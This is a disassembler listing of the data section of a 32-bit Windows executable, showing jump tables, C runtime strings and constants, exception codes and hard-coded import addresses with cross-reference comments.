dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082F2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_40831F
dword_40FAB0 dd 232D2B20h, 30h ; DATA XREF: sub_4087E0+E4o
; sub_4087E0+FDo ...
dword_40FAB8 dd 1, 2, 4, 8, 10h, 0 ; DATA XREF: sub_4087E0+EDr
; sub_449761+EDr
aHjltzl db 'hjltzL',0 ; DATA XREF: sub_4087E0+1CDo
; sub_449761+1CDo
align 4
aConin db 'CONIN$',0 ; DATA XREF: DMN0:00408AAEo
; DMN1:00449A2Fo
aConout db 'CONOUT$',0 ; DATA XREF: sub_408A60+1Eo
; sub_4499E1+1Eo
align 4
dword_40FAE8 dd 0 ; DATA XREF: sub_408B20+24o
; sub_449AA1+24o
dd 0FFFFFFFFh, 11h dup(0)
dword_40FB34 dd 0 ; DATA XREF: DMN0:off_411894o
dword_40FB38 dd 0 ; DATA XREF: sub_409950+36r
; sub_409950+18Br ...
dword_40FB3C dd 0 ; DATA XREF: sub_409950+3Cr
; sub_409950+191r ...
db 2 dup(0)
word_40FB42 dw 200h ; DATA XREF: DMN0:off_411898o
dd 4 dup(100010h), 300130h, 300030h, 100030h, 8 dup(100010h)
dd 400010h, 7 dup(800080h), 30080h, 4 dup(30003h), 800003h
dd 3 dup(800080h), 3 dup(0A000Ah), 3 dup(80008h)
dword_40FBDC dd 80008h ; DATA XREF: sub_409C30+55r
; sub_44ABB1+55r
aAaaaaa:
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
dw 8
unicode 0, <€€€€€€>
dd 3 dup(60006h), 0Ah dup(40004h), 2 dup(800080h)
dword_40FC40 dd 10h, 40h dup(0) ; DATA XREF: sub_409C30+18r
; sub_44ABB1+18r
dd offset loc_40A007
dd offset loc_40A337
dd offset loc_40A337
dd offset loc_40A337
dd offset loc_40A007
dd offset loc_40A007
dd offset loc_40A007
dd offset loc_40A007
dd offset loc_40A337
dd offset loc_409C8C
dd offset loc_409CFB
dd offset loc_40A007
dd offset loc_40A007
dd offset loc_40A007
dd offset loc_40A337
dd offset loc_409CFB
dd offset loc_40A337
dd offset loc_40A337
dd offset loc_40A337
dd offset loc_40A337
dd offset loc_40A0C9
dd offset loc_409E93
dd offset loc_40A201
dd offset loc_40A337
dd offset loc_40A337
dd offset loc_40A25F
dd offset loc_40A337
dd offset loc_409E93
dd offset loc_40A337
dd offset loc_40A337
dd offset loc_409E93
dword_40FDC0 dd 6C756E28h, 296Ch ; DATA XREF: sub_409C30+661o
; sub_44ABB1+661o
asc_40FDC8 db ' ',0 ; DATA XREF: sub_40A370+54o
; sub_40A370+23Do ...
a00000000000000 db '00000000000000000000000000000000',0 ; DATA XREF: sub_40A370+D8o
; sub_40A370+15Co ...
align 4
dword_40FE0C dd 0 ; DATA XREF: sub_40A5E0+Dr
; sub_44B561+Dr
dd 0
dd 1, 2
db 2 dup(0)
word_40FE1E dw 0E000h ; DATA XREF: DMN0:004118A4o
; DMN0:004118E4o ...
dd 0E002E001h, 0E004E003h, 0E006E005h, 0E008E007h, 0E00AE009h
dd 0E00CE00Bh, 0E00EE00Dh, 0E010E00Fh, 0E012E011h, 0E014E013h
dd 0E016E015h, 0E018E017h, 0E01AE019h, 0E01CE01Bh, 0E01EE01Dh
dd 0E020E01Fh, 0E022E021h, 0E024E023h, 0E026E025h, 0E028E027h
dd 0E02AE029h, 0E02CE02Bh, 0E02EE02Dh, 0E030E02Fh, 0E032E031h
dd 0E034E033h, 0E036E035h, 0E038E037h, 0E03AE039h, 0E03CE03Bh
dd 0E03EE03Dh, 0E040E03Fh, 0E042E041h, 0E044E043h, 0E046E045h
dd 0E048E047h, 0E04AE049h, 0E04CE04Bh, 0E04EE04Dh, 0E050E04Fh
dd 0E052E051h, 0E054E053h, 0E056E055h, 0E058E057h, 0E05AE059h
dd 0E05CE05Bh, 0E05EE05Dh, 0E060E05Fh, 0E062E061h, 0E064E063h
dd 0E066E065h, 0E068E067h, 0E06AE069h, 0E06CE06Bh, 0E06EE06Dh
dd 0E070E06Fh, 0E072E071h, 0E074E073h, 0E076E075h, 0E078E077h
dd 0E07AE079h, 0E07CE07Bh, 0E07EE07Dh, 0E080E07Fh, 0E082E081h
dd 0E084E083h, 0E086E085h, 0E088E087h, 0E08AE089h, 0E08CE08Bh
dd 0E08EE08Dh, 0E090E08Fh, 0E092E091h, 0E094E093h, 0E096E095h
dd 0E098E097h, 0E09AE099h, 0E09CE09Bh, 0E09EE09Dh, 0E0A0E09Fh
dd 0E0A2E0A1h, 0E0A4E0A3h, 0E0A6E0A5h, 0E0A8E0A7h, 0E0AAE0A9h
dd 0E0ACE0ABh, 0E0AEE0ADh, 0E0B0E0AFh, 0E0B2E0B1h, 0E0B4E0B3h
dd 0E0B6E0B5h, 0E0B8E0B7h, 0E0BAE0B9h, 0E0BCE0BBh, 0E0BEE0BDh
dd 0E0C0E0BFh, 0E0C2E0C1h, 0E0C4E0C3h, 0E0C6E0C5h, 0E0C8E0C7h
dd 0E0CAE0C9h, 0E0CCE0CBh, 0E0CEE0CDh, 0E0D0E0CFh, 0E0D2E0D1h
dd 0E0D4E0D3h, 0E0D6E0D5h, 0E0D8E0D7h, 0E0DAE0D9h, 0E0DCE0DBh
dd 0E0DEE0DDh, 0E0E0E0DFh, 0E0E2E0E1h, 0E0E4E0E3h, 0E0E6E0E5h
dd 0E0E8E0E7h, 0E0EAE0E9h, 0E0ECE0EBh, 0E0EEE0EDh, 0E0F0E0EFh
dd 0E0F2E0F1h, 0E0F4E0F3h, 0E0F6E0F5h, 0E0F8E0F7h, 0E0FAE0F9h
dd 0E0FCE0FBh, 0E0FEE0FDh, 0E0FFh
aNull: ; DATA XREF: sub_40AEB0+81o
; sub_44BE31+81o
unicode 0, <(null)>,0
align 10h
a0123456789ab_0 db '0123456789abcdef',0 ; DATA XREF: sub_40B000:loc_40B018o
; sub_44BF81:loc_44BF99o
a0123456789abcd db '0123456789ABCDEF',0 ; DATA XREF: sub_40B000+Fo
; sub_44BF81+Fo
align 4
dbl_410054 dq 1.0e1 ; DATA XREF: sub_40B250+3E4r
; sub_40B250+42Dr ...
dd 0
dd 40590000h, 0
dd 40C38800h, 0
dd 4197D784h, 37E08000h, 4341C379h, 0B5056E17h, 4693B8B5h
dd 0E93FF9F5h, 4D384F03h, 0F9301D32h, 5A827748h, 7F73BF3Ch
dd 75154FDDh
dbl_41009C dq 1.0e8 ; DATA XREF: sub_40B250+4B5r
; sub_44C1D1+4B5r
dbl_4100A4 dq 1.0 ; DATA XREF: sub_40B250+403r
; sub_44C1D1+403r
dbl_4100AC dq 0.0 ; DATA XREF: sub_40B250+1BCr
; sub_40B250+28Ar ...
a0123456789ab_2 db '0123456789ABCDEF',0 ; DATA XREF: sub_40B250:loc_40B3D4o
; sub_44C1D1:loc_44C355o
a0123456789ab_1 db '0123456789abcdef',0 ; DATA XREF: sub_40B250+17Bo
; sub_44C1D1+17Bo
off_4100D6 dd offset byte_464E49 ; DATA XREF: sub_40B250:loc_40B33Co
; sub_44C1D1:loc_44C2BDo
word_4100DA dw 6E69h ; DATA XREF: sub_40B250:loc_40B333o
; sub_44C1D1:loc_44C2B4o
db 66h, 0
word_4100DE dw 414Eh ; DATA XREF: sub_40B250:loc_40B2EAo
; sub_44C1D1:loc_44C26Bo
byte_4100E0 db 4Eh, 0 ; DATA XREF: sub_40BCC0+5Br
; sub_44CC41+5Br
word_4100E2 dw 616Eh ; DATA XREF: sub_40B250:loc_40B2E1o
dd 6Eh, 40BD48h, 40BD63h, 40BD3Fh, 40BD63h, 40BD2Ah, 40BD63h
dd 40BD36h, 2 dup(40BD63h), 40BD51h
aTerminating db ' -- terminating',0Ah,0 ; DATA XREF: sub_40BCC0+10Do
; sub_44CC41+10Do
aSignal db 'signal #',0 ; DATA XREF: sub_40BCC0+EAo
; sub_44CC41+EAo
aTerminationReq db 'termination request',0 ; DATA XREF: sub_40BCC0:loc_40BD5Ao
; sub_44CC41:loc_44CCDBo
aInvalidStorage db 'invalid storage access',0 ; DATA XREF: sub_40BCC0+91o
; sub_44CC41+91o
aInterruption db 'interruption',0 ; DATA XREF: sub_40BCC0+88o
; sub_44CC41+88o
aInvalidExecuta db 'invalid executable code',0 ; DATA XREF: sub_40BCC0+7Fo
; sub_44CC41+7Fo
aArithmeticErro db 'arithmetic error',0 ; DATA XREF: sub_40BCC0+76o
; sub_44CC41+76o
aAbort db 'abort',0 ; DATA XREF: sub_40BCC0+6Ao
; sub_44CC41+6Ao
align 4
dword_410194 dd 0 ; DATA XREF: sub_40BEE0+23r
; sub_40BEE0+10Fr ...
dword_410198 dd 0 ; DATA XREF: sub_40BEE0+29r
; sub_40BEE0+115r ...
align 10h
dword_4101A0 dd 30h ; DATA XREF: sub_40C3B0+1Eo
; sub_44D331+1Eo
byte_4101A4 db 0 ; DATA XREF: DMN0:004119A4o
; DMN0:004119A8o ...
byte_4101A5 db 2Eh, 2 dup(0) ; DATA XREF: DMN0:off_4119D0o
dd 0
dword_4101AC dd 395h dup(0) ; DATA XREF: sub_407AA0+73o
; sub_407AA0:loc_407B1Fo ...
dword_411000 dd 1 ; DATA XREF: sub_40122A:loc_401237w
; sub_40122A+13r ...
dword_411004 dd 0 ; DATA XREF: sub_403C3F+66r
; sub_403C3F+86w ...
dword_411008 dd 0 ; DATA XREF: sub_40238A+7r
; sub_40238A+43w ...
dword_41100C dd 0 ; DATA XREF: sub_40356A+2Ar
; sub_40356A:loc_4035CDr ...
dword_411010 dd 0 ; DATA XREF: sub_40356A+1Er
; sub_40356A+46r ...
dword_411014 dd 0 ; DATA XREF: sub_40399A+189o
; sub_403C3F+317o ...
dword_411018 dd 0 ; DATA XREF: sub_403604+1r
; sub_403604+1Fw ...
dword_41101C dd 0 ; DATA XREF: DMN0:004036A3r
; DMN0:004036C1w ...
dd 0
dword_411024 dd 0 ; DATA XREF: sub_40356A+58o
; sub_40356A+86o ...
dword_411028 dd 0 ; DATA XREF: sub_40410E+1r
; sub_40410E+1Fw ...
dword_41102C dd 0 ; DATA XREF: sub_404967+16Fo
; sub_404967+22Co ...
dword_411030 dd 0 ; DATA XREF: sub_40400E+32r
; sub_40400E+9Br ...
byte_411034 db 5Ah ; DATA XREF: sub_4041FB+19r
; sub_44517C+19r
db 3 dup(5Bh)
dd 5B5B5B5Bh, 5B5Bh
dword_411040 dd 0 ; DATA XREF: DMN0:00405B1Fw
; DMN1:00446AA0w
dword_411044 dd 2 dup(0) ; DATA XREF: DMN0:00405A0Bo
; DMN1:0044698Co
dword_41104C dd 0 ; DATA XREF: sub_405CF6+Bw
; sub_405CF6+25r ...
dword_411050 dd 0 ; DATA XREF: sub_405EFE+Dr
; sub_405EFE+B9w ...
dword_411054 dd 0 ; DATA XREF: sub_405DF3+Cr
; sub_405DF3+15r ...
dword_411058 dd 0 ; DATA XREF: sub_40637D+Fo
; sub_4472FE+Fo
dword_41105C dd 0 ; DATA XREF: sub_407400+35r
; sub_407400+3Ew ...
dword_411060 dd 0 ; DATA XREF: sub_4079E0+45r
; sub_4079E0+62r ...
dd 4Fh dup(0)
dword_4111A0 dd 50h ; DATA XREF: sub_4079E0:loc_407A17r
; sub_4079E0+3Fw ...
dword_4111A4 dd 0 ; DATA XREF: sub_4079E0:loc_407A37r
; sub_4079E0+5Dw ...
dword_4111A8 dd 0 ; DATA XREF: sub_406D70+18Ew
; sub_406D70+1B1r ...
dd 6 dup(0)
dd 95FFF8h, 0
dword_4111CC dd 95FFFCh ; DATA XREF: sub_4070F0+38r
; sub_407BD0+8Br ...
dword_4111D0 dd 950004h ; DATA XREF: sub_4070F0+30r
; sub_407BD0+C1r ...
dword_4111D4 dd 950000h ; DATA XREF: sub_407BD0+97r
; sub_407BD0:loc_407C74r ...
dword_4111D8 dd 8 ; DATA XREF: sub_406D70+66r
; sub_406D70+10Br ...
dword_4111DC dd 10h ; DATA XREF: sub_406D70+5Dr
; sub_406D70+FEr ...
dword_4111E0 dd 20h ; DATA XREF: sub_406D70:loc_406DE8r
; sub_406D70+121r ...
dword_4111E4 dd 40h ; DATA XREF: sub_406D70+54r
; sub_406D70+F1r ...
dword_4111E8 dd 80h ; DATA XREF: sub_406D70+99r
; sub_406D70+14Ar ...
dword_4111EC dd 100h ; DATA XREF: sub_406D70:loc_406E00r
; sub_406D70+13Dr ...
dword_4111F0 dd 200h ; DATA XREF: sub_406D70:loc_406E1Er
; sub_406D70+163r ...
dd 400h
dword_4111F8 dd 7 ; DATA XREF: sub_406D70+19Cr
; sub_406D70:loc_406F16w ...
dword_4111FC dd 7 ; DATA XREF: sub_406D70+361w
; sub_407BD0+175w ...
dword_411200 dd 19930520h, 3 dup(0) ; DATA XREF: DMN0:00408582o
; sub_408589+2o ...
off_411210 dd offset dword_41283C ; DATA XREF: sub_4086A0r
; sub_4086E0:loc_4086E6r ...
off_411214 dd offset dword_412824 ; DATA XREF: sub_4086A0+Cr
; sub_4086E0+38r ...
off_411218 dd offset dword_41280C ; DATA XREF: sub_4086A0+18r
; sub_4086E0+44r ...
off_41121C dd offset dword_4127F4 ; DATA XREF: sub_4086A0+24r
; sub_4086E0+50r ...
dd 5 dup(0)
dword_411234 dd 0 ; DATA XREF: sub_408A60r sub_408A60+9r ...
dword_411238 dd 0 ; DATA XREF: DMN0:00408A90r
; DMN0:00408A99r ...
dd 14h dup(0)
dword_41128C dd 1, 0 ; DATA XREF: DMN0:off_411370o
dd offset byte_4112D4
dd offset byte_4112D5
dd offset byte_4112D4
dd offset byte_4112D4
dd offset byte_4112D4
dd offset byte_4112D4
dd offset dword_4112B4
dd 0
dword_4112B4 dd 8 dup(0) ; DATA XREF: DMN0:004112ACo
byte_4112D4 db 0 ; DATA XREF: DMN0:00411294o
; DMN0:0041129Co ...
byte_4112D5 db 3 dup(0) ; DATA XREF: DMN0:00411298o
dword_4112D8 dd 802h, 1, 411320h, 411321h, 4 dup(411320h), 411300h
; DATA XREF: DMN0:00411374o
dd 0Ah dup(0)
dword_411324 dd 802h, 2, 41123Ch, 41128Ch, 3 dup(41123Ch), 41136Ch
; DATA XREF: sub_40BCC0+E5o
; sub_40BCC0:loc_40BDB7o ...
dd 41134Ch, 0Ah dup(0)
off_411370 dd offset dword_41128C ; DATA XREF: sub_4073E0:loc_4073E3r
; sub_407480:loc_4074ECr ...
dd offset dword_4112D8
dd offset dword_411324
dd 0FDh dup(0)
dword_411770 dd 11h ; DATA XREF: sub_407870+2Ar
; sub_408FD0+Cw ...
dword_411774 dd 0C0000005h, 0Bh, 0C000001Dh, 4, 0C0000096h, 4, 0C000008Dh
; DATA XREF: sub_4091A0+7o
; sub_44A121+7o
dd 8, 0C000008Eh, 8, 0C000008Fh, 8, 0C0000090h, 8, 0C0000091h
dd 8, 0C0000092h, 8, 0C0000093h, 8
dword_4117C4 dd 1 ; DATA XREF: sub_4091A0:loc_4091F2o
; sub_409710+82w ...
dword_4117C8 dd 95005Ch ; DATA XREF: sub_409710+87w
; sub_44A691+87w
align 10h
dword_4117D0 dd 950078h ; DATA XREF: sub_4097B0+55w
; sub_4097B0+5Ar ...
align 8
dword_4117D8 dd 950000h ; DATA XREF: sub_4098B0+Cr
; sub_4098B0+2Aw ...
dword_4117DC dd 2000000h ; DATA XREF: sub_407AA0+31w
; sub_4098B0+1Cr ...
dword_4117E0 dd 400h ; DATA XREF: sub_407BD0+2Ew
; sub_4081A0+2Dr ...
dword_4117E4 dd 2Ch dup(0) ; DATA XREF: sub_409060+16o
; sub_409100+5Co ...
off_411894 dd offset dword_40FB34 ; DATA XREF: sub_4097B0+16r
; sub_4097B0+A2r ...
off_411898 dd offset word_40FB42 ; DATA XREF: sub_4087E0+160r
; sub_4087E0+1BBr ...
dword_41189C dd 0 ; DATA XREF: sub_40AD50+99r
; sub_40AD50:loc_40AE08w ...
byte_4118A0 db 3 ; DATA XREF: sub_40AEB0+2Ar
; sub_40BEE0+14Ar ...
align 4
dd offset word_40FE1E
dd 0Fh dup(0)
dd offset word_40FE1E
dd 0Fh dup(0)
off_411924 dd offset word_40FE1E ; DATA XREF: sub_409950+20r
; sub_409950+19Cr ...
dd 0Fh dup(0)
off_411964 dd offset word_40FE1E ; DATA XREF: sub_40BEE0+13Cr
; sub_44CE61+13Cr
dd 0Fh dup(0)
dd offset byte_4101A4
dd offset byte_4101A4
dd offset byte_4101A4
dd offset byte_4101A4
dd offset byte_4101A4
dd offset byte_4101A4
dd offset byte_4101A4
dd 3 dup(7F7F7F7Fh), 7F7Fh
off_4119D0 dd offset byte_4101A5 ; DATA XREF: sub_40C3B0+7r
; sub_44D331+7r
dd offset byte_4101A4
dd offset byte_4101A4
dbl_4119DC dq 1.797693134862316e308 ; DATA XREF: sub_40CF90+8Ar
; sub_40CF90:loc_40D027r ...
dd 0
dd 7FF80000h, 0
dd 3C900000h, 0
dd 3E400000h, 0
dd 40320000h, 2 dup(0)
dd 11A84h, 2 dup(0)
dd 122AEh, 11CC4h, 11BE4h, 2 dup(0)
dd 124B2h, 11E24h, 11C48h, 2 dup(0)
dd 1251Ch, 11E88h, 11CA8h, 2 dup(0)
dd 1253Ch, 11EE8h, 11CB0h, 2 dup(0)
dd 12598h, 11EF0h, 5 dup(0)
dd 11F04h, 11F14h, 11F30h, 11F48h, 11F60h, 11F70h, 11F80h
dd 11F96h, 11FA4h, 11FBAh, 11FCAh, 11FDAh, 11FECh, 12000h
dd 1200Eh, 12020h, 12028h, 1203Eh, 1204Eh, 1205Ch, 1206Eh
dd 1207Eh, 1208Ch, 1209Ch, 120B0h, 120BCh, 120D2h, 120ECh
dd 120FAh, 12110h, 1211Ch, 12128h, 12138h, 12144h, 1215Eh
dd 12174h, 12182h, 12192h, 121A4h, 121B4h, 121C4h, 121D8h
dd 121EAh, 121FEh, 12210h, 12226h, 1223Ch, 1224Ah, 1225Eh
dd 1227Ah, 1228Ch, 1229Ch, 125A4h, 125B4h, 125C2h, 125D2h
dd 125E2h, 125F0h, 12602h, 1260Eh, 1261Ch, 1262Ah, 12636h
dd 12644h, 12650h, 1265Ch, 1266Ch, 12684h, 12692h, 1269Eh
dd 126B4h, 126BEh, 126CCh, 126E8h, 12702h, 12710h, 12722h
dd 12734h, 1274Ch, 12766h, 12776h, 12786h, 12792h, 127A2h
dd 127BAh, 127CCh, 127D8h, 0
dd 122BCh, 122CEh, 122E0h, 122EEh, 122FEh, 1230Eh, 1232Eh
dd 1234Ah, 1235Ah, 1236Ch, 1237Ch, 12392h, 123A8h, 123C0h
dd 123D8h, 123E8h, 123FAh, 1240Ah, 1241Eh, 12432h, 12450h
dd 1246Eh, 12486h, 1249Ah, 0
dd 80000073h, 80000074h, 80000017h, 80000015h, 80000003h
dd 80000012h, 8000000Ch, 80000009h, 80000004h, 80000002h
dd 8000000Dh, 80000001h, 8000000Fh, 80000010h, 80000013h
dd 8000000Ah, 80000034h, 80000006h, 80000039h, 8000000Bh
dd 80000014h, 80000011h, 8000006Fh, 0
dd 12528h, 0
dd 1254Ah, 1255Ah, 1256Eh, 12584h, 0
dword_411CC4 dd 77E7751Ah ; DATA XREF: sub_401001:loc_40100Br
; sub_402562+6r ...
dword_411CC8 dd 77E79908h ; DATA XREF: sub_40103C+5r
; sub_401097+5r ...
dword_411CCC dd 77F7E21Fh ; DATA XREF: sub_401048+9r
; sub_401076+5r ...
dword_411CD0 dd 77F7E300h ; DATA XREF: sub_401048+23r
; sub_401076+1Ar ...
dword_411CD4 dd 77E79C3Dh ; DATA XREF: DMN0:004010C1r
; sub_4092A0+1B2r ...
dword_411CD8 dd 77E70F89h ; DATA XREF: DMN0:0040117Cr
; DMN1:004420FDr
dword_411CDC dd 77E7A099h ; DATA XREF: sub_402296+18r
; DMN0:00402353r ...
dword_411CE0 dd 77E79881h ; DATA XREF: sub_40238A+14r
; sub_405870+Dr ...
dword_411CE4 dd 77E77797h ; DATA XREF: sub_4023DC+1Fr
; sub_44335D+1Fr
dword_411CE8 dd 77F5157Dh ; DATA XREF: sub_4023DC+2Br
; sub_403604+2Dr ...
dword_411CEC dd 77E74D76h ; DATA XREF: sub_4023DC+44r
; sub_402449+29r ...
dword_411CF0 dd 77E75090h ; DATA XREF: sub_4023DC+62r
; sub_402449+47r ...
dword_411CF4 dd 77E7C815h ; DATA XREF: sub_402449+11r
; sub_4024A6+12r ...
dword_411CF8 dd 77E77963h ; DATA XREF: sub_402449+51r
; sub_4024A6+5Er ...
dword_411CFC dd 77E762D0h ; DATA XREF: sub_402511+33r
; sub_40538E+33r ...
dword_411D00 dd 77E61BE6h ; DATA XREF: sub_402562+32r
; sub_40356A+Br ...
dword_411D04 dd 77E775F1h ; DATA XREF: sub_40356A+5Dr
; sub_40356A+8Br ...
dword_411D08 dd 77E7C2C4h ; DATA XREF: sub_403604+19r
; DMN0:004036BBr ...
dword_411D0C dd 77E8074Ah ; DATA XREF: sub_403658+10r
; sub_4036F6+10r ...
dword_411D10 dd 77E61BB8h ; DATA XREF: sub_403723+DCr
; DMN0:00404C8Er ...
dword_411D14 dd 77F51587h ; DATA XREF: sub_403838+BDr
; sub_409090+59r ...
dword_411D18 dd 77E73628h ; DATA XREF: sub_403838+13Br
; sub_40399A+1ACr ...
dword_411D1C dd 77E6AD34h ; DATA XREF: sub_40399A+3Cr
; sub_40399A+93r ...
dword_411D20 dd 77E6AF8Fh ; DATA XREF: sub_40399A+57r
; sub_40399A+AEr ...
dword_411D24 dd 77E6BD13h ; DATA XREF: sub_40399A+C4r
; sub_4066F1+18Fr ...
dword_411D28 dd 77E70396h ; DATA XREF: sub_40399A+DEr
; sub_405DF3+8Ar ...
dword_411D2C dd 77E76B5Ch ; DATA XREF: sub_403C3F+31Cr
; DMN1:00444EDCr
dword_411D30 dd 77E75CB5h ; DATA XREF: sub_403FEA+10r
; sub_409190+5r ...
dword_411D34 dd 77E79D5Bh ; DATA XREF: sub_40400E+23r
; sub_405870+E5r ...
dword_411D38 dd 77E76A2Eh ; DATA XREF: sub_4040C3+36r
; sub_4050B1+B5r ...
dword_411D3C dd 77E73BEFh ; DATA XREF: sub_404F2A+A7r
; sub_445EAB+A7r
dword_411D40 dd 77E737DEh ; DATA XREF: DMN0:0040530Er
; sub_405870+51r ...
dword_411D44 dd 77E74A3Bh ; DATA XREF: DMN0:0040531Br
; sub_405C80+65r ...
dword_411D48 dd 77E74C59h ; DATA XREF: sub_405870+C7r
; sub_4467F1+C7r
dword_411D4C dd 77E74CABh ; DATA XREF: sub_405BE3+14r
; sub_4066F1+28Dr ...
dword_411D50 dd 77E74A69h ; DATA XREF: sub_405C80+11r
; sub_406422+7r ...
dword_411D54 dd 77E6CA8Ah ; DATA XREF: sub_405DF3+31r
; sub_446D74+31r
dword_411D58 dd 77E7105Fh ; DATA XREF: sub_405DF3+44r
; sub_446D74+44r
dword_411D5C dd 77E760B5h ; DATA XREF: sub_405DF3+5Fr
; sub_446D74+5Fr
dword_411D60 dd 77E7C931h ; DATA XREF: sub_405DF3+73r
; sub_446D74+73r
dword_411D64 dd 77E79C90h ; DATA XREF: sub_406042+1Br
; sub_4092A0+1D3r ...
dword_411D68 dd 77E79824h ; DATA XREF: sub_4060BC+21r
; sub_44703D+21r
dword_411D6C dd 77E79F93h ; DATA XREF: sub_4060BC+7Ar
; sub_407AA0+9Ar ...
dword_411D70 dd 77E7A5FDh ; DATA XREF: sub_4060BC+91r
; sub_4060BC+A2r ...
dword_411D74 dd 77E61A90h ; DATA XREF: sub_4060BC+E6r
; sub_44703D+E6r
dword_411D78 dd 77E7AA83h ; DATA XREF: sub_4060BC+11Dr
; sub_44703D+11Dr
dword_411D7C dd 77E706B7h ; DATA XREF: sub_4061E6+15r
; sub_447167+15r
dword_411D80 dd 77E6C9E0h ; DATA XREF: sub_4061E6+5Cr
; sub_447167+5Cr
dword_411D84 dd 77EBB1E7h ; DATA XREF: sub_406C9Cr sub_447C1Dr
dword_411D88 dd 77EBA595h ; DATA XREF: sub_406CA2r sub_447C23r
dword_411D8C dd 77EBA6E9h ; DATA XREF: sub_406CA8r sub_447C29r
dword_411D90 dd 77E7C938h ; DATA XREF: sub_4066F1+44r
; sub_409710+Br ...
dword_411D94 dd 77E99078h ; DATA XREF: sub_407220+1Br
; DMN1:004481BCr
dword_411D98 dd 77E79B39h ; DATA XREF: sub_407870+30r
; sub_408FD0+31r ...
dword_411D9C dd 77E7AC37h ; DATA XREF: sub_407910+38r
; sub_448891+38r
dword_411DA0 dd 77E6E154h ; DATA XREF: sub_407910+54r
; sub_448891+54r
dword_411DA4 dd 77E73C49h ; DATA XREF: sub_4079A0+30r
; sub_448921+30r
dword_411DA8 dd 77E6177Ah ; DATA XREF: sub_407AA0+92r
; sub_4092A0+5Er ...
dword_411DAC dd 77F6183Eh ; DATA XREF: sub_40D420r sub_44E3A1r
dword_411DB0 dd 77E7C726h ; DATA XREF: sub_4085B0+9r
; sub_449531+9r
dword_411DB4 dd 77E76E0Bh ; DATA XREF: DMN0:004085D6r
; DMN1:00449557r
dword_411DB8 dd 77F516F8h ; DATA XREF: sub_4085F0+Dr
; sub_449571+Dr
dword_411DBC dd 77F5722Fh ; DATA XREF: DMN0:00408623r
; DMN1:004495A4r
dword_411DC0 dd 77F51597h ; DATA XREF: sub_408630+Dr
; sub_4495B1+Dr
dword_411DC4 dd 77F522F2h ; DATA XREF: DMN0:0040865Fr
; DMN1:004495E0r
dword_411DC8 dd 77E6C924h ; DATA XREF: DMN0:0040868Dr
; DMN1:0044960Er
dword_411DCC dd 77F53275h ; DATA XREF: sub_4086E0+12r
; sub_4086E0+32r ...
dword_411DD0 dd 77E7A837h ; DATA XREF: sub_408A60+23r
; DMN0:00408AB3r ...
dword_411DD4 dd 77E7C5B4h ; DATA XREF: sub_408FD0+6r
; sub_449F51+6r
dword_411DD8 dd 77E77CC4h ; DATA XREF: sub_408FD0+46r
; sub_409090+42r ...
dword_411DDC dd 77E72B29h ; DATA XREF: DMN0:00409047r
; DMN1:00449FC8r
dword_411DE0 dd 77E78B61h ; DATA XREF: sub_409090+10r
; sub_409100+1Br ...
dword_411DE4 dd 77EB9A84h ; DATA XREF: sub_4091A0+5Fr
; sub_44A121+5Fr
dword_411DE8 dd 77E6167Bh ; DATA XREF: sub_409240+5r
; DMN0:0040925Br ...
dword_411DEC dd 77E78406h ; DATA XREF: sub_4092A0+130r
; sub_4092A0+1C6r ...
dword_411DF0 dd 77E79CE3h ; DATA XREF: sub_4092A0+1F5r
; sub_44A221+1F5r
dword_411DF4 dd 77E7C931h ; DATA XREF: sub_4092A0+24Ar
; sub_44A221+24Ar
dword_411DF8 dd 77E67702h ; DATA XREF: sub_4097B0+9r
; sub_44A731+9r
dword_411DFC dd 77E9C5B1h ; DATA XREF: sub_4097B0+B0r
; sub_44A731+B0r
dword_411E00 dd 77E7980Ah ; DATA XREF: sub_4098B0+24r
; sub_4098B0+8Ar ...
dword_411E04 dd 77E7F044h ; DATA XREF: sub_4098B0+3Fr
; sub_44A831+3Fr
dword_411E08 dd 77E79D8Ch ; DATA XREF: sub_40A670+F5r
; sub_40A670+15Br ...
dword_411E0C dd 77E7FF2Eh ; DATA XREF: sub_40AA10+4Cr
; sub_40AA10+5Br ...
dword_411E10 dd 77E76968h ; DATA XREF: sub_40AD50+A9r
; sub_44BCD1+A9r
dword_411E14 dd 77E78C81h ; DATA XREF: sub_40BDF0+34r
; sub_44CD71+34r
dword_411E18 dd 77E78B82h ; DATA XREF: sub_40C890+C4r
; sub_40C890+249r ...
dword_411E1C dd 77E70192h ; DATA XREF: sub_40CC50+10Cr
; sub_44DBD1+10Cr
dd 0
dword_411E24 dd 77DD590Bh ; DATA XREF: sub_402208+21r
; sub_405187+63r ...
dword_411E28 dd 77DD59F0h ; DATA XREF: sub_402208+43r
; sub_405187+8Ar ...
dword_411E2C dd 77DD189Ah ; DATA XREF: sub_402208+4Cr
; sub_40225E+2Er ...
dword_411E30 dd 77DD22EAh ; DATA XREF: sub_40225E+15r
; sub_4050B1+5Cr ...
dword_411E34 dd 77DD839Fh ; DATA XREF: sub_40225E+25r
; sub_4431DF+25r
dword_411E38 dd 77DD6018h ; DATA XREF: sub_40238A+1Fr
; sub_405870+1Br ...
dword_411E3C dd 77DD6034h ; DATA XREF: sub_40238A+2Cr
; sub_405870+2Ar ...
dword_411E40 dd 77DDACABh ; DATA XREF: sub_4040C3+15r
; sub_445044+15r
dword_411E44 dd 77DDA20Bh ; DATA XREF: sub_404CB8+Br
; sub_404D02+12r ...
dword_411E48 dd 77DE801Bh ; DATA XREF: sub_404CB8+1Fr
; sub_404D02+29r ...
dword_411E4C dd 77DDAB2Fh ; DATA XREF: sub_404CB8+2Cr
; sub_404CB8+37r ...
dword_411E50 dd 77DDAC5Ch ; DATA XREF: sub_404D02+47r
; sub_404E56+80r ...
dword_411E54 dd 77E2BC20h ; DATA XREF: sub_404D73+22r
; sub_445CF4+22r
dword_411E58 dd 77E2BE75h ; DATA XREF: sub_404D73+6Dr
; sub_404F2A+C3r ...
dword_411E5C dd 77DE8075h ; DATA XREF: sub_404E56+9Cr
; sub_445DD7+9Cr
dword_411E60 dd 77E2BF4Bh ; DATA XREF: sub_404F2A+4Dr
; sub_445EAB+4Dr
dword_411E64 dd 77E2C1B3h ; DATA XREF: sub_40506C+2Br
; sub_445FED+2Br
dword_411E68 dd 77DD23D7h ; DATA XREF: sub_4050B1+92r
; sub_4053DF+71r ...
